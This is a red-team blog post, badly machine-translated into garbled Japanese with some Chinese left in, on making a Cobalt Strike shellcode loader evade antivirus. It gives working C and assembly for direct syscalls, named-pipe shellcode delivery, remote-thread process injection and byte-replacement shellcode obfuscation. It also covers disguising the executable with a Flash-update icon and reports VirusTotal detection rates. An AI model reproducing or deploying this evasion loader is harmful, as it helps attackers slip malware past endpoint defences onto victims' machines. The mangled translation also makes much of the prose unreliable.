シェルコード1

 

 

 

360情報セキュリティセンターは、「未知の攻撃、どのように我々は防衛知ることができる」チームメンバーが悪用研究のすべての種類に焦点を当て、赤と青、ブロックチェーンのセキュリティコードとの戦いで長年の経験を持つシニア監査と私たちは身近な会社の一部です。

著者:BOI @ 360RedTeam

任意の直接的または間接的な影響と損失による伝播に、ユーザ自身によって、生じた記事によって提供される情報の使用は責任がある、記事の著者は一切の責任を負いません。

 

0x00のシーケンス

Redteamの場合建設または赤と青の企業セキュリティ対決に参加して、私たちは与えられたタスクを実行するために、いくつかの実行可能ファイルを使用する必要があります。注目のネットワークセキュリティホストのセキュリティレベルを向上させるために、企業では、通常の作業の円滑な実施を確保するために、ターゲットホスト上のいくつかのエンドポイント保護ソフトウェアがありますが、私たちは運転を殺す避けるために、実行可能ファイルにする必要があります。この記事では、それは赤を描くと同時に、抗攻撃を促進するための触媒としての役割を果たすことを期待して、Cobaltstrikeキットを使用し、名前付きパイプの技術バイパスにいくつかのアイデアを分析リードのもとに主に焦点を当てた自分自身の学習にいくつかのレコードを殺すために自由です注目の青い側面。

結局のところ、自分の手や衣服。

 

知って自分自身が0x01

現在のアンチウイルスセキュリティソフトウェア、クラウド殺害に基づいて行動に基づいて一般的な3つの機能をベースに、あります。クラウド殺すの機能は基本的に特徴付け殺害のように要約することができます。

機能の面では、ほとんどのウイルス対策ソフトウェアは、ファイル内の機能の数が一定のレベルに達したとき、それはソフトキルは殺害のために特定のEXPのエントリ機能を制限する排除しない、アラームをトリガーするしきい値を定義します。もちろん、最も単純で、粗、周りを取得するのが最も簡単である、MD5、SHA1および他のハッシュ関数によってマルウェアを識別します。より多くの機能を行うために、より良い殺害を避けるためには、あなたがシェル、追加/交換するリソースを変更するためにパッカーを使用することができ、知られている署名の適応/(例えば、機能という名前ExecutePayloadshellcode)単語の確率が増加します殺害、暗号化シェルコードのように。

行動の面では、このようなレジストリなどのAPIソフトキルモニターの数をトリガスタートアップ項目を追加し、サービスを追加し、ユーザーを追加、注入、ハイジャック、DLLをロードし、作成するプロセスなどがあります。フリーは、我々は、(このような操作ファイルの使用WMI / COMメソッドなど)交換作業を代替APIをホワイトリストを使用することができ、行動のためのバイパス達成するための方法などを殺すために。従来の代替に加えて、誘導されたAPIは、姿勢のように使用されていない、我々はまた、下に示すように、(アプリケーション層ソフト殺すのモニタリングをバイパスして、そのようなカーネルレベルのAPI度Z Wシリーズを使用するなど、直接実装されたシステムコールを使用することができ)VirtualAllocの代わりにZwAllocateVirtualMemory関数を使用します。

実際の(セール品)に対するシェルコードキルソフト

//使用ZwAllocateVirtualMemory 所需要的一些函数定义
ZwAllocateVirtualMemory proc
       mov r10, rcx
       mov eax, 18h
       syscall
       ret
ZwAllocateVirtualMemory endp

EXTERN_C NTSTATUS ZwAllocateVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);

NTSTATUS(*NtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
    );

また、あなたは、C#や他の言語でプログラムをコンパイルし、予想外の効果があるだろう、行く、PYを使用することができます。

 

0x02のWindowsの名前付きパイプ、使用及び再生の分析

CobaltStrikeのキットでは、我々は、以下に示すようにCSは、スクリプトバイパスセットを実装することがわかります。テストアウトキルソフトキャリーバイパスに名前付きパイプを使用して、ある - この記事では、技術のバイパスpipe.cに焦点を当てています。

実際の(セール品)に対するシェルコードキルソフト

名前付きパイプの名前を持つことは、一方向または二重通信がパイプサーバーと1つまたは複数のクライアント間で行われることです。同じ名前を持つ名前付きパイプのすべてのインスタンスが、各インスタンスは、別々のパイプを介して、さまざまなクライアントを提供するために使用する独自のバッファとハンドルを持っています。例の導管は、複数のクライアントが同時に同じ名前付きパイプを使用できます。命名パイプについての詳細は、以下を参照してください予備的研究Windowsの名前付きパイプを

CSは、内部処理で名前付きパイプを作成し、プロセス内の通信の方法を使用して、プロセス内で呼び出します。この方法は、図1に示すように、いくつかのAV / EDR、具体的な実施プロセスの動作を殺す回避することができます。

実際の(セール品)に対するシェルコードキルソフト

首先主进程使用CreateNamedPipeA函数在进程内部创建了一个内部的命名管道,并将Shellcode写入到命名管道中(注:Shellcode可以使用HTTP/TCP/UDP/ICMP等等多个协议通过网络传输,以此可以做到Shellcode字符串不落地,大大增加了免杀的概率)。此刻,命名管道可以理解为一个监听,时刻等待着客户端与其连接,并将数据传递给客户端。其中CreateNamedPipeA函数使用PIPE_ACCESS_OUTBOUND参数限制数据流只允许从命名管道的服务端传到命名管道的客户端。详细的参数信息可以见官方文档CreateNamedPipeA

随后使用CreateFileA函数创建一个命名管道的客户端,用于接收命名管道中存储的Shellcode。

最后使用CreateThread函数在该进程下创建了一个子线程加载Shellcode,我们也完全可以使用CreateRemoteThread函数将Shellcode注入到其他的进程中,以此防止该可执行文件被关闭导致的“掉线“。另外,还可以弹框UAC来提高控制权限,与此同时也会增加钓鱼的难度,因此还需要根据具体的攻击场景与需求来定制最适合自己的Shellcode Loader。

相关代码如下

    //创建命名管道服务端,用于向客户端发送数据
void server(char * data, int length) {
    DWORD  wrote = 0;
    HANDLE pipe = CreateNamedPipeA(pipename, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE, 1, 0, 0, 0, NULL);
    if (pipe == NULL || pipe == INVALID_HANDLE_VALUE)
       return;
    BOOL result = ConnectNamedPipe(pipe, NULL);
    if (!result)
       return;
    while (length > 0) {
       result = WriteFile(pipe, data, length, &wrote, NULL);
       if (!result)
           break;
       data   += wrote;
       length -= wrote;
    }
    CloseHandle(pipe);
}

    //创建命名管道客户端
BOOL client(char * buffer, int length) {
    DWORD  read = 0;
    HANDLE pipe = CreateFileA(pipename, GENERIC_READ, FILE_SHARE_READ |
     FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (pipe == INVALID_HANDLE_VALUE)
          return FALSE;
    while (length > 0) {
       BOOL result = ReadFile(pipe, buffer, length, &read, NULL);
       if (!result)
           break;
       buffer += read;
       length -= read;
    }
    CloseHandle(pipe);
    return TRUE;
}

    //将Shellcode 注入到其他进程
    HANDLE hProcess = NULL;
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);
    HMODULE modHandle = GetModuleHandle(_T("Kernel32"));
    LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)GetProcAddress(modHandle, "LoadLibraryA");
    void* pLibRemote = VirtualAllocEx(hProcess, NULL, sizeof(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, pLibRemote, (void*)data, sizeof(data), NULL);
    CreateRemoteThread(hProcess, NULL, 0,
       addr,
       pLibRemote,
       0,
       NULL);
       
    //创建子进程
    DWORD WINAPI StartAddress(LPVOID lpThreadParameter){
    return ((int(__stdcall*)(LPVOID))lpThreadParameter)(lpThreadParameter);
}
    s = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);
    WaitForSingleObject(s, 0xFFFFFFFF);

最后,我们希望可执行工具在红队使用中达到更逼真的效果,因此加入了Flash的更新图标,方法如下:VisualStudio 解决方案资源管理器->右击资源文件,添加资源,选择icon 导入即可。

実際の(セール品)に対するシェルコードキルソフト

事以愿违,VirusTotal的查杀结果显示在70个杀软中有21个检测出了木马,虽然比CS直接生成的artifact.exe要好一些,但是并不能令我们满意(Avast/AVG/McAfee/Tencent等均未查杀出木马)。下图为artifact和使用命名管道实现的Shelllcode加载器在VirusTotal上面的表现情况对比。

実際の(セール品)に対するシェルコードキルソフト

実際の(セール品)に対するシェルコードキルソフト

そして、テスト360、シミュレートされた攻撃のテストの360成功した保護へのキットの使用。したがって、我々は、シェルコードからLoaderが従来のソフトキル迂回するように変更することがこの方法であることができるかを考える必要がありトロイの木馬を検出します。

実際の(セール品)に対するシェルコードキルソフト

 

ページの0x03のシェルコードの暗号化&保護エリア

まず、私たちは殺害の割合を減らすために減らすためにシェルコードの文字列の署名を扱うことができ、Base64エンコーディング、Hexはコーディングなどではなく、経験から、符号化動作を分析AVをキャッチすることができるなど、従来のシェルコードエンコード操作は、そうではありませんお勧め。エンコーディングに加えて、我々はまた、このようなXOR、AES、RSA暗号やカスタム暗号化フォーマットとして、シェルコードに暗号化することができます。

ここでは連続ファズ後、我々は$ 00のすべての3バイト、署名EVADE検出を置き換えシェルコードになります。

//解密
unsigned char data[]     = "\xfc\xe8\x89\x00\x00\x00\x60\x89...";
unsigned char enc_data[] = "\x00\xe8\x89\x00\x00\x00\x00\x89...";
char key[] = "\xfc\x00\x60\x31\x8b...";
for (int i = 0; i < sizeof(key); i++) {
    memcpy(&enc_data[i * 3], &key[i], 1);
}

下に示すように、さらに、我々は、それによってソフトキル殺傷率を低下させる、最終結果ではなく、シェルコードVirtualProtectメモリブロックを実行するように設定されている使用読み取りおよび書き込み特権ができます。

VirtualProtect(buff, sizeof(data), 0x10, &flOldProtect);

実際の(セール品)に対するシェルコードキルソフト

実際の(セール品)に対するシェルコードキルソフト

実際の(セール品)に対するシェルコードキルソフト

 

0x04の概要

この部分は最初の戦略と戦術の数を殺すソフトキルを導入し、Windowsの名前付きパイプの内部通信プロセスを使用し、増加のリソースファイル、シェルコードの暗号化、VirtualProtectいくつかの技術バイパスセキュリティスチュワードに、ディフェンダーや他のウイルス対策ソフトウェア、静的、動的なクラウド保護対策(加えて、そのようなC#、Pythonなどの他の言語の使用、移動、およびので、シェルコードLoaderがより簡単にソフトを殺す保護ポリシーをバイパスすることができ達成)。

参照することは困難ではない、これらの悪質な慣行の検出にいくつかのウイルス対策ソフトウェアは、このような動的なデバッグ機能の強化として殺すまだ必要な改善戦略は、保護をバイパスすることによって技術の悪質な違法な要素を避けるために、サンドボックスことを示す、まだ省略されています操作。

おすすめ

転載: www.cnblogs.com/mayingkun/p/11929544.html